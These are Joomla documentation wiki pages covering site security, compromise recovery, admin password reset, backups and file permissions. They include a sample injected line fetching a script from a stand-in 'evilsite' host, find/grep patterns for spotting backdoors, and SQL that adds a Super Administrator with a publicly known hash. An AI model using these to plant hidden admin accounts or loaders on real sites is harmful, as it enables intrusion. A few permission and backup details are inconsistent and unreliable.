"/php/php.exe", Apache WILL work it out if correctly configured.

Configuring the Default Index Page 
This section applies to all users, whether you are loading PHP as a module or running it as a CGI binary, and has been seen often enough to warrant a mention.

If you want to make your PHP script execute as the default page for a directory, you have to add another line to the "httpd.conf". Simply search for the line in the file that begins with a "DirectoryIndex" and add "index.php" to the list of files on
that line. For example, if the line used to be:

DirectoryIndex index.html

change it to

DirectoryIndex index.html index.php 
If you still wish .html files to be executed before .php files 
 
or 
DirectoryIndex index.php index.html 
If you wish .php files to be executed before .html files

The next time you access the site or a directory within a site without a
filename, Apache will "auto-magically" deliver "index.php" if
available, or "index.html" if "index.php" is not available.

== Why shouldn't I use PHP safe_mode? ==
'''Overview'''
Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.

The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.

Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.

'''From the official PHP site'''

''"The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren't very realistic, many people, especially ISP's, use safe mode for now."''
'''More Information'''

# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]

= Development =
== How do I setup a secure demo site? ==

In /includes/version.php look for:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 1;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 0;

For a demo site it is advised to following:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 0;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 1;

$SITE = 0
// Allows multiple user logins with only one account. By default Joomla!
// allows only one active session per account as a security feature.

$RESTRICT = 1
// Disables those logging in, both Front-end and Back-end from changing
// user details - like password and username

These settings are used on the official demo site http://demo.joomla.org

You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.

== How can I view a live site while developing, but hide it from others? ==

'''Introduction'''

The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.

'''Directions'''

1. Login to the administrator section, and choose: Site > Global Configuration.

2. The first option you'll see is is to set the site offline. Choose "Yes" and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:

"This site is down for maintenance. Please check back again soon. message instead."

3. While you are logged into the "back end" administrator system, you can still view the "front end," by choosing Site > Template > Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.

= Site Recovery =

== Help! My site's been compromised. Now what? ==

'''Directions'''

# '''Change all relevant passwords:''' Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.
# '''Check raw logs:''' Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.
# '''List recently modified files:''' Before making any changes to your site, generate a list of recently modified files. Here's a php script that will list the files for you. Remove this script as soon as you have your list and don't publish a link to it!
# '''Note suspicious newly-created files:''' Use this list to identify new files that don't belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.
# '''Note suspicious recently-modified files:''' Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.
# '''Check for bogus CRON Jobs:''' Hacked cron jobs can be setup to reinfect your site over and over again.
# '''Coordinate with your host:''' If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.
# '''Delete the entire public_html directory:''' This is the best way to guarantee that every potential vulnerability in that site is removed.
# '''Delete related database records:''' This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.
# '''Reinstall everything:''' Use pre-crack backups. If you don't have good backups, go on to step 10.
# '''Reset critical passwords again:''' You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.
# '''Rebuild site:''' If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions
# '''Review security processes:''' Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.
# '''Review backup processes:''' If you don't already have one, add a dependable backup process to your site administration practices.
# '''Stay watchful:''' Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.

==How do I reset an administrator password?==

'''Introduction'''

'''Note:''' This method is for Joomla versions up to and including 1.0.12{{JVer|1.0}}. For later versions of Joomla and Joomla 1.5.xx versions please use this '''([[How_do_you_recover_your_admin_password%3F|FAQ]])'''

Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.

'''Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x'''
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.

'''Directions'''

1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .

2. Open the correct database and select the table, jos_users . (Change default table prefix, 'jos_' to your table prefix if it is different.)

3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)

4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.
'''Warning:''' You must paste the password's hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.

password = "MD5 hash of password"
------------------------------------------------------
admin = 21232f297a57a5a743894a0e4a801fc3
secret = 5ebe2294ecd0e0f08eab7690d2a6ee69
OU812 = 7441de5382cf4fecbaa9a8c538e76783

5. Save the user record.

6. Point a browser to your site and log in using the Super Administrator account you just modified.

7. '''IMPORTANT:''' Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will 'salt' your new password, thus adding an additional level of security on top of the MD5 hash.

Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.

'''Generating your own MD5 hash from a password of your choice'''

Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you've generated a hash with these tools.

'''Online MD5 hash creation tools'''
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/

'''Free MD5 utilities for download'''
* MD5 & Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm

'''Other MD5 tools'''
* There are many free online and downloadable MD5 utilities. Google "MD5 hash tool"

== How do I find exploits using the *NIX shell? ==

'''Check the active processes'''

Use the "ps" command to look for odd or unknown processes, if you aren't sure what to look for there, user "netstat -ae | grep irc" and/or "netstat -ea | grep 666" and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name "irc" listed against them, or may have "httpd" or sometimes other regular services names.

'''Check crontab'''

Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.

'''Check for hidden files or directories'''

Check for hidden files or directories you dont expect to see, those starting with "." (dots) and also look for ". " (dot, space) often favored to try and catch searches for hidden directories.

Other examples of searches that may help pin down exploits and/or unexpected files and folders:

find /home -type f | xargs grep -l MultiViews
find . -type f | xargs grep -l base64_encode <<< this can produce false positives, it is valid in many mail/graphics scripts
find . -type f | xargs grep -l error_reporting
find / -name "[Bb]itch[xX]"
find / -name "psy*"
ls -lR | grep rwxrwxrwx > listing.txt

== What are these strange (URL-Encoded) characters doing in my code? ==

Overview

Attackers sometimes hide code away from prying eyes by URL Encoding it.

The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.

However, if you find odd, URL-encoded text in your site's files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.

Here are some trivial, non-functioning examples of URL Encoded text:

<table border="1">
<tr>
<th>Original</th>
<th>URL Encoded</th>
</tr>
<tr valign="top">
<td>this line has spaces</td>
<td>this%20line%20has%20spaces</td>
</tr>
<tr valign="top">
<td>eval(evil_script(http://www.evilsite/?evilscript.pl"));</td>
<td>%65val%28%65%76il_%73cri%70t
%28%68tt%70%3A//%77%77%77.
%65%76il%73ite/%3F%65%76il%73
cript.%70l%22%29%29%3B</td>
</tr>
</table>

'''Resources'''

# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]

== Edited by==
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=39784 rliskey]


[[Category:Security]]
[[Category:FAQ]]
[[Category:Security_FAQ]]

How do you recover or reset your admin password?

2011-09-26T22:59:13Z

Cadrlp: add ver icons

Normally, you can add, edit and delete users and passwords from the back-end User Manager. To do this, you must be logged in as a member of the Super Administrator group.

In some situations, this may not be possible. For example, your site may have been "hacked" and had the passwords or users changed. Or perhaps the person who knew the passwords is no longer available. Or maybe you have forgotten the password that was used.

In these cases, it is still possible to fix up the Joomla! database so you can log back in as a Super Administrator. There are three possible methods discussed below.

===Use the Lost Password Feature===
If you have access to the email address that was used for the admin user, and you have made the "lost password" feature available on the front end, the simplest thing is to do is to use the "lost password" Front-end function. The site will send an e-mail to the user's e-mail address and allow you to change the password.

If this method will not work, you have two other options, both of which require working with the MySQL database directly.

===Change the Password in the Database===
If the admin user is still defined, the simplest option is to change the password in the database to a known value. This requires that you have access to the MySQL database using phpMyAdmin.

# Navigate to phpMyAdmin and select the database for the Joomla! site in the left-hand drop-down list box. This will show the database tables on the left side of the screen.
# Click on the table "jos_users" in the list of tables.
# Click on the "Browse" button in the top toolbar. This will show all of the users that are set up for this site.
# Find the user whose password you want to change and press the Edit icon for this row.
# A form will display that allows you to edit the password field. Copy the value <source lang="sql">d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199</source> into the password field and press the ''Go'' button. phpMyAdmin should display the message "Affected rows: 1". At this point, the password should be changed to "secret".
# Log in with this user and password and change the password of this user to a secure value. Check all of the users using the User Manager to make sure they are legitimate. If you have been hacked, you may want to change all of the passwords on the site.

===Add a New Super Administrator User===
If changing the password won't work, or you aren't sure which user is a member of the Super Administrator group, you can use this method to create a new user.

# Navigate to phpMyAdmin and select the database for the Joomla! site in the left-hand drop-down list box. This will show the database tables on the left side of the screen.
# Press the "SQL" button in the toolbar to run an SQL query on the selected database. This will display a field called "Run SQL query/queries on database <your database>".
# Delete any text in this field and copy and paste one of the following queries and press the ''Go'' button to execute the query and add the new Administrator user to the table.
# Use the 1.6 query version for a site based upon Joomla 1.6.xx and use the 1.5 query version for a site based upon Joomla 1.5.xx.

'''NOTE:''' '''''The following code uses jos_ as the table name prefix which is the Joomla default table prefix If you elected to change this prefix when you first installed Joomla, you will need to change jos_ to the prefix you used.'''''

'''SQL code for use with Joomla 1.6.xx{{JVer|1.6}}'''

<source lang="sql">INSERT INTO `jos_users`
(`id`,`name`, `username`, `password`, `params`)
VALUES (LAST_INSERT_ID(),'Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '');
INSERT INTO `jos_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
</source>

'''SQL code for use with Joomla 1.5.xx{{JVer|1.5}}'''

<source lang="sql">INSERT INTO `jos_users`
(`id`, `name`, `username`, `password`, `usertype`, `gid`, `params`)
VALUES (LAST_INSERT_ID(), 'Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199',
'Super Administrator', 25, '');
INSERT INTO `jos_core_acl_aro`
VALUES (NULL, 'users', LAST_INSERT_ID(), 0, 'Administrator2', 0);
INSERT INTO `jos_core_acl_groups_aro_map`
VALUES (25, '', LAST_INSERT_ID());
</source>

At this point, you should be able to log into the back end of Joomla! with the username of "admin2" and password of "secret". After logging in, go to the User Manager and change the password to a new secure value and add a valid e-mail address to the account. If there is a chance you have been "hacked", be sure to check that all users are legitimate, especially any members of the Super Administrator group.
The examples above change the password to "secret". Two other possible values are shown below:
<pre>
- password = "this is the MD5 and salted hashed password"
------------------------------------------------------
- admin = 433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT
- secret = d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199
- OU812 = 5e3128b27a2c1f8eb53689f511c4ca9e:J584KAEv9d8VKwRGhb8ve7GdKoG7isMm
</pre>

Warning: The password values shown on this page are public knowledge and are only for recovery. Your site may be hacked if you do not change the password to a secure value after logging in. Be sure you change the password to a secure value after logging in. 
[[Category:FAQ]][[Category:Administration FAQ]][[Category:Getting Started FAQ]][[Category:Version 1.5 FAQ]]
[[Category:User Management]]

Security and Performance FAQs

2011-09-26T22:57:46Z

Cadrlp: /* How do I reset an administrator password? */ {{JVer|1.0}}

{{RightTOC}}

= Getting Started =

==Is GNU and Open Source software worth the costs and risks?==

It's difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling:

{|class="wikitable" border="1"
! '''Applications''' !! '''Industry Leader''' !! align="right" | '''Cost'''
|-
| GNU/Linux
| Yes
| align="right" | 0
|-
| Apache Web Server
| Yes
| align="right" | 0
|-
| MySQL Relational Database
| Yes
| align="right" | 0
|-
| PHP Scripting Language
| Yes
| align="right" | 0
|-
| Joomla! Content Management System
| Yes
| align="right" | 0
|-
| Thousands of Joomla Extensions
| Varies
| align="right" | 0
|-
! '''Support''' !! '''Relative Quality''' !! align="right" | '''Cost'''
|-
| Joomla! Project Leadership Team
| High
| align="right" | 0
|-
| Joomla! Forge
| High
| align="right" | 0
|-
| Joomla! Online Forums
| High
| align="right" | 0
|-
| Joomla! Documentation
| Medium
| align="right" | 0
|-
| Thousands of Online Volunteers
| High
| align="right" | 0
|-
| Paid Professional Support
| Widely Available
| align="right" | 0
|-
! align="right" | '''Total''' !!   !! align="right" | '''0'''
|}

==What is the Joomla! Administrator's Security Checklist?==

The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.

==What are the top 10 stupidest Joomla! security tricks?==
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].

==How do I choose a quality hosting provider?==

The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.

* '''Choose *NIX:''' Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options.
* '''Use Secure FTP:''' Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.

* '''Set PHP register_globals OFF:''' The most security conscious hosts turn PHP's Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don't get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.

* '''Stay up-to-date:''' Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].

* '''Avoid cheap shared servers:''' Be sure users on your shared server can't view each others files and databases, for example through shell accounts and cpanels.

* '''Proactive server management:''' Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they've responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.

* '''Require raw log access:''' Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.

* '''Performance matters:''' Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.

* '''Data center:''' Choose a host that manages it's own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.

* '''Know your neighbors:''' Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.

* '''Visit the Joomla Resources Directory (JRD) [http://resources.joomla.org/directory/support-services/hosting.html hosting section]:''' If you are looking for a Joomla Host, please ensure you make your own investigations as to the services offered and whether they suit your needs or not.

* '''Grow with your site:''' As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) '''dedicated servers''' offer the best possible security and performance, but at the highest expense, 2) '''virtual servers''' offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.

==What are the best practices for site backups?==

: There are three traditional backup types--full, cumulative and differential.

'''Full Backups'''
: A complete backup of all associated files and database at a known point in time.

: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.

'''Cumulative Backups'''
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.

'''Incremental Backups'''
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.

: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly cannot be recreated or is too costly to recreate, once a night or more may be more effective.

: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.

: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night's backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.

: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially "over-filling" the file-system.

'''Data Protection Best Practice says'''

# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.
# A good backup practice is to store backups away from the current data location, preferably off site.
# Dynamic data should be backed up ''offline'' or ''hot'' to avoid ''fuzzy'' backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.

: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.

: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven't modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.

==Where can I learn about vulnerable extensions?==
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]

==Where can I learn more about file permissions?==

* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/113-joomla-and-unix-file-permissions-explanation.html Unix Permissions Primer]
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/112-joomla-and-windows-file-permissions-explanation.html Windows Permissions Primer]
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/111-permissions-under-phpsuexec.html Using phpSuExec]

==How do I setup a powerful password scheme?==

'''Overview'''

: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.

'''Directions'''

* '''Level 5 (Public)''' - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it's more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!

* '''Level 4 (Webmaster)''' - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn't apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.

* '''Level 3 (Webmaster)''' - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn't matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!

* '''Level 2 (Personal Data Access)''' - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!

* '''Level 1 (Banking!)''' - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!

= Joomla! Core =

==How can I check my Joomla! installation's overall security and health?==

: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.

: Project Home: http:// joomlacode. org/gf/project/jts/ (gone away)

==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==

# Login to your Joomla! sites Administration site
# From the menu, select Extensions -> Module Manager
# From within the Module Manager, select Administrator
# From the Icon Menu (top right), select New
# From the choices available, select Feeds Display
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL
# Select cpanel as the position
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel
# Select Save from the Icon Menu (top right)
# Go back to your Admin Site main page (Site -> Control Panel) and you should see your newly built Security Feed.

: You can also use this technique to deliver your own "Customer Updates" to sites that you build for others. It's a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they'll see your latest news.

==Why should I immediately change the name of the default admin user after a new install?==

'''Overview'''

: All new Joomla installations start with a Super Administrator account called, 'admin'. During the installation process, you will be asked to give this account a password. That's great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they're in.

: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.

'''Directions'''

# Log into the Back End
# Select User Manager
# Select the 'admin' user record
# Change the value in username. (Good user names contain a mix of letters and numbers.)
# Save
# Remember the new username!

== Why does the Back-End session stay alive even though I set it to expire? ==

: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:

# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it's never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it's remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.

==How do I turn off RG_EMULATION? {{JVer|1.0}}==

'''Overview'''

: PHP's ''register_globals'' option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input.

: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance!

: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP ''register_globals'', but it's still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with ''register_globals'' turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don't use such extensions.

'''Joomla! 1.0.13'''

: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.

'''Joomla! 1.0.12 and earlier'''

: Edit the file, ''globals.php'', found in the root directory of your Joomla! site. At about line 23 change:

define('RG_EMULATION',1)

: to

define('RG_EMULATION',0)

==What do Error 1, Error 2, and Error 3 mean?==

'''Error 1 = FATAL ERROR: MySQL not supported...'''

You need to compile MySQL support into PHP or the MySQL server is down.

'''Error 2 = FATAL ERROR: Connection to database ...'''

Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in ''configuration.php'', or you are trying to access a database table with the wrong table prefix.

'''Error 3 = FATAL ERROR: Database not found...'''

The database cannot be found. Check the database settings in ''configuration.php''

The MySQL variables in ''configuration.php'' (found in Joomla!'s root directory) can be modified to correct these problems.

For Joomla! 1.0.xx
$mosConfig_host = 'localhost';
$mosConfig_user = 'accountname__username';
$mosConfig_password = 'userpassword';
$mosConfig_db = 'accountname_dbName';
$mosConfig_dbprefix = 'jos_';

Modifying the ''$mosConfig_host'' to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.

==How do UNIX file permissions work?==

Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;

Owner Permissions : Control your own access to files.
Group Permissions : Control access for you and anyone in your group.
Other Permissions : Control access for all others.

In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.

'''What do Unix permissions look like?'''

When viewing your files through an FTP client or from the servers command line;

filename.php username usergroup rwx r-x r-x

The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.

'''Owner (User) relates to username'''

The Owner (User) is normally you, these permissions will be enforced on your hosting account name.

'''Group relates to usergroup'''

The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.

'''Other relates to everyone else'''

The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;

r = Read permissions
w = Write permissions
x = Execute permissions

Owner Group Other
r w x r w x r w x

As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Thus...

4+2+1 4+2+1 4+2+1
= 7 7 7

The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;

Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories;

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either "apache" and "apache" or "nobody" and "nobody" as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.

640 = rw- r-- ---
Owner has Read and Write
Group has Read only
Other has no rights

The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.

750 = rw- r-x ---
Owner has Read and Write
Group has Read and Execute
Other has no rights

Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to "Execute" commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the "Read" command, thus cannot deliver your file to the users web browser.

'''How Does this Relate to Joomla?'''

Good question, well in the first instance this would be important during the Web-Installer process.
